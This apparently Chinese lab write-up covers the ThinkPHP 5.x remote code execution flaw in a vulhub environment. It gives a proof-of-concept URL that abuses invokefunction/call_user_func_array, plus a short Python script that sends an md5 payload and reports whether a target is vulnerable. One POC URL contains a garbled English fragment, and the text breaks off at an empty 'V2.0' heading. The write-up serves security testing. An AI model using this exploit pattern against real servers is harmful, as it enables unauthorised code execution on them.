本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
ThinkPHP5.X 远程代码执行漏洞
📚测试环境
vulhub 靶场 thinkphp 5.x rce 环境。
使用 docker-compose 开启环境
访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5)
📚漏洞原理
框架在处理控制器中的函数参数时,未能正确过滤和验证输入,导致攻击者可以构造特定的输入数据,从而触发远程代码执行漏洞。
📚POC 示例
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
⚠️问题源码
漏洞利用
V1.0
'''
ThinkPHP 5.X RCE
📚漏洞原理
框架在处理控制器中的函数参数时,未能正确过滤和验证输入,导致攻击者可以构造特定的输入数据,从而触发远程代码执行漏洞。
📚POC 示例
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123456
'''
import requests
from urllib.parse import urljoin
def thinkphp5x_rce(url):
payload = r'/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123456'
url = urljoin(url, payload)
response = requests.get(url)
print(response.text)
if 'e10adc3949ba59abbe56e057f20f883e' in response.text:
print('[+] The vulnerability exists')
else:
print('[-] The vulnerability not exists')
if __name__ == '__main__':
url = 'http://192.168.225.135:8080/'
thinkphp5x_rce(url)
V2.0
优化: